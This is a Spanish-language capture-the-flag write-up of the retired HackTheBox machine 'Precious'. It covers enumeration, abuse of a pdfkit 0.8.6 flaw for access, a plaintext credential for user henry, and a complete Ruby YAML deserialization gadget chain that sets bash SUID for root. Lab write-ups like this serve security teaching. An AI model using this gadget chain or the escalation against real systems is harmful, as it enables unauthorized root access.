HackTheBox - Precious WriteUp - Máquina retirada
Encendemos la maquina Precious y le lanzamos un ping para saber si la maquina esta activa, de paso por el TLL sabremos si estamos frente a una maquina Linux o Windows
La maquina esta activa y vemos un TLL de 63, por tanto, estamos frente a una maquina Linux.
Enumeración
Cuando hacemos la enumeración en nmap unicamente encontramos los puertos abiertos (22,80), y al momento de hacer un whatweb para enumerar un poco las tecnologías que podría estar usando la web y vemos información interesante como:
- Un dominio precious.htb
- Una tecnología llamada Ruby-on-rails
Buscando esta tecnología en searchsploit para averiguar si encontramos alguna vulnerabilidad asociada a Ruby-on-rails pero sin suerte
Seguimos con la enumeración agregando el dominio, abrimos el archivo /etc/hosts y probamos nuevamente la enumeración de las tecnologías pero no encontramos información relevante. Asi que abrimos la web en Firefox
Vemos que podemos convertir una pagina web en PDF, probamos a crear un archivo cmd.php y nos montamos un servicio http con python
Colocamos en la url nuestra dirección http://10.10.16.54/cmd.php
Y vemos que el servidor nos muestra una petición GET
Y vemos que la pagina nos a creado un PDF con el contenido de nuestro archivo php malicioso
Sin lograr ejecutar comandos, aun tenemos el PDF generado por la web entonces para enumerar un poco que tecnología nos esta generando este PDF probamos a leer los metadatos con la herramienta exiftool
Y vemos que la tecnología empleada para la creación del PDF fue hecha por pdfkit v0.8.6 y esta tiene vulnerabilidades asociadas. De esta manera logramos acceso a la maquina
Una vez dentro de la maquina hacemos un tratamiento de la tty para tener una consola completamente interactiva.
Y vemos que estamos como el usuario whoami
Como el usuario ruby buscamos por archivos que tengan el privilegio SUID pero no hay archivos interesantes.
Así que buscamos en el sistema un archivo llamado user.txt, así sabremos donde esta la flag del usuario y vemos que esta en el directorio personal del usuario henry. Tratando de leer la flag vemos que tenemos privilegios para leer la flag por tanto, tendremos que hacer user pivoting
Enumerando directorios del sistema encontramos un directorio llamado config, en el cual encontraremos la credencial del usuario henry
henry:Q3c1AqGHtoI0aXAYFH
Escalada
Enumerando el sistema como el usuario henry encontraremos que podemos ejecutar ruby como root actualizando todas las gemas
Podemos crear un archivo ruby malicioso para ejecutar un comando en este caso chmod 4755 a la /bin/bash
dependencies.yml
:payload:
- !ruby/class 'Gem::SpecFetcher'
- !ruby/class 'Gem::Installer'
- !ruby/object:Gem::Requirement
requirements: !ruby/object:Gem::Package::TarReader
io: !ruby/object:Net::BufferedIO
io: !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: aaa
debug_output: !ruby/object:Net::WriteAdapter
socket: !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: chmod 4755 /bin/bash
method_id: :resolve
Con esto habremos completado la maquina.
